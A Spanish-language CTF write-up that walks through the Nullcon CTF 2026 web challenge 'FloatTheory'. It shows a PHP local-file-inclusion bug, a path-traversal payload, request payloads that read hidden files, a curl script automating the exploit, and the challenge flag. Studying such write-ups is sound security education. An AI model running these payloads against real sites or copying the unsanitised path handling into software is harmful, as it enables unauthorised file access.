Skip to main content
Volver a writeups

Writeup técnico

FloatTheory (BillSplitter Lite) – Nullcon CTF 2026

---

nullcon CTF 2026

Datos del reto

Campo Valor
CTF Nullcon CTF 2026
Reto FloatTheory (BillSplitter Lite)
Categoría Web
Flag ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}

Descripción del reto

El sitio simulaba una aplicación para dividir gastos entre amigos. Toda la historia giraba alrededor de una "administrative fee" de 0.01, pero la parte interesante no estaba en cálculos flotantes raros sino en cómo el backend guardaba y mostraba los archivos de cada sesión.


Reconocimiento

La aplicación permitía agregar personas, calcular el total y consultar recibos con el parámetro ?view_receipt=. Desde el principio había varias pistas:

  • el campo de nombre mostraba Filename como placeholder;
  • el sitio decía que todo se guardaba en archivos del servidor;
  • el balance siempre mostraba 0.01000.

Eso hacía pensar que el parámetro view_receipt merecía una mirada más de cerca.


Análisis

El problema real era un LFI bastante limpio. El backend concatenaba directamente el valor de view_receipt a la ruta del directorio del usuario:

$target = $user_dir . $_GET['view_receipt'];
if (file_exists($target)) {
    $lfi_content = file_get_contents($target);
}

Con una ruta como ../../index.php se podía leer el código fuente y entender la mecánica interna. Ahí se veía que:

  • cada sesión tenía su propio directorio en /var/www/html/users/{session_id}/;
  • la flag se guardaba en un archivo secret_XXXXXXXX;
  • el nombre exacto de ese archivo quedaba escrito en .lock;
  • los archivos secret_* no aparecían en la interfaz, pero seguían siendo accesibles por view_receipt.

Resolución

La explotación salió en dos peticiones.

Primero, leer .lock para recuperar el nombre del archivo secreto:

GET /?view_receipt=.lock

Eso devolvía algo como:

secret_rCAlqyJl

Después, pedir directamente ese archivo:

GET /?view_receipt=secret_rCAlqyJl

La respuesta incluía tanto el valor 0.01 como la flag:

0.01
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}

Si se quería automatizar, alcanzaba con algo así:

curl -sc /tmp/c http://52.59.124.14:5069/ -o /dev/null
SECRET=$(curl -sb /tmp/c "http://52.59.124.14:5069/?view_receipt=.lock" | grep -oP 'secret_\w+')
curl -sb /tmp/c "http://52.59.124.14:5069/?view_receipt=$SECRET" | grep -oP 'ENO\{[^}]+\}'

Flag

ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}